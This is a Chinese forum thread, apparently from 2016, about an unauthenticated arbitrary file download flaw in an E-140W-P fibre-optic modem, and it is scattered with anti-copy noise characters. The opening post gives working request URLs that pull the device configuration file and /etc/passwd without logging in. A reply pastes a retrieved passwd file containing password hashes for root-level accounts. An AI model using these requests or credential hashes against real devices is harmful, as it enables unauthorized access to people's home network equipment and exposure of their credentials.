贝尔 E-140W-P 免登录任意文件下载 可下载配置文件

路飞

2 s+ V: }+ D: t! b
) d4 |9 Z( O' O: |% J
. r- K  Y8 Z8 D9 L+ W; m配置文件下载
* D! \1 E9 Z) |  t& @7 F8 chttp://192.168.1.1/downloadFile?file=/var/config/psi  
0 s) P  c. @5 d. A5 E1 |系统帐号文件
3 B4 Z) }& t# chttp://192.168.1.1/downloadFile?file=/etc/passwd
- `$ J* N* ?& X- J) s/ B2 o

2 u9 b0 F/ n0 R- K* i4 RPS：悦me光猫系统应该通用，手上没有其它光猫没办法测试，有条件的同学可以试试
5 L8 a3 o: P  x2 G
+ c- [! E7 V7 |  X3 ~6 |! ]

山里娃子

第一个用什么解密呀。都是乱码。

butterfly_6

这个要支持一下，也算是一个漏洞吧！

cjt200685

楼主能做个详细点的说明吗
第二个链接好像不能下载啊

songyi

这个可以看看

songyi

cjt200685 发表于 2016-9-1 09:01
) @* f) a5 C4 s" F1 `$ U/ H$ B楼主能做个详细点的说明吗
. j( W* M/ y$ g" U第二个链接好像不能下载啊

第二个可以下的 全复制下载 lz的链接部分不全

lance65

收费的，莪是穷人

smartzzh

我有超级密码，就不需要了吧

findwm11

恩，我自己买的这个光猫，按你方法下载了配置文件，但是不知道怎么解密。

yxwyzh520

下载了文件一堆看不懂的数据！
passwd
com.chinatelecom.tongwei.smartgateway.thunder:rOVcJgFX997OI:701:0:com.chinatelecom.tongwei.smartgateway.thunder:/usr/plugin/cpk/com.chinatelecom.tongwei.smartgateway.thunder:/bin/sh
com.chinatelecom.tongwei.smartgateway.b01:bdfN2CU7LYsLk:1002:0:com.chinatelecom.tongwei.smartgateway.b01:/usr/plugin/cpk/com.chinatelecom.tongwei.smartgateway.b01:/bin/sh
osgid:LdpyC9j4xRx6M:102:0:osgid:/usr/plugin/cpk/osgid:/bin/sh
" B5 M$ f3 E) j0 p% padmin:Izy.z7nZNlDfg:0:0:Administrator:/:/bin/sh
8 p9 @7 V; O5 e3 ^1 ~" B- k, b% Asupport:EXEETbhgbwb/U:0:0:Technical Support:/:/bin/sh
4 X. ?: w- W) b6 M' u% t1 g, A+ m  euser:x5Vkhi7UdT7uM:0:0:Normal User:/:/bin/sh
% P8 D7 M7 j2 ~, O8 N6 kuseradmin:dfKFvCUXGs81w:0:0:ftp account:/mnt:/bin/sh
6 S, h, k6 I# q& gsshdadmin:aEqI1ZqvXeWfA:0:8:ssh account:/mnt:/bin/sh
% x# L  P& m& g: @nobody:LOesJdOXNA4sQ:0:0:nobody for ftp:/:/bin/sh
. E" C7 V/ g0 g$ luseradmin:sOGdhPr.iOH/g:0:0:Normal User:/mnt:/bin/sh
* ^! n0 |! }# b6 {# h
/ A% V) ]+ d, @. J. _& y# e
1 ~/ G# Q; M3 i5 Z; z! S1 [, h

# j: I5 O% k9 R/ X- t# ]& S
) K/ F$ L0 E/ v9 g$ c9 R
$ F) N9 A' W- ]! A& |' r
PSI 文件直接全部乱码！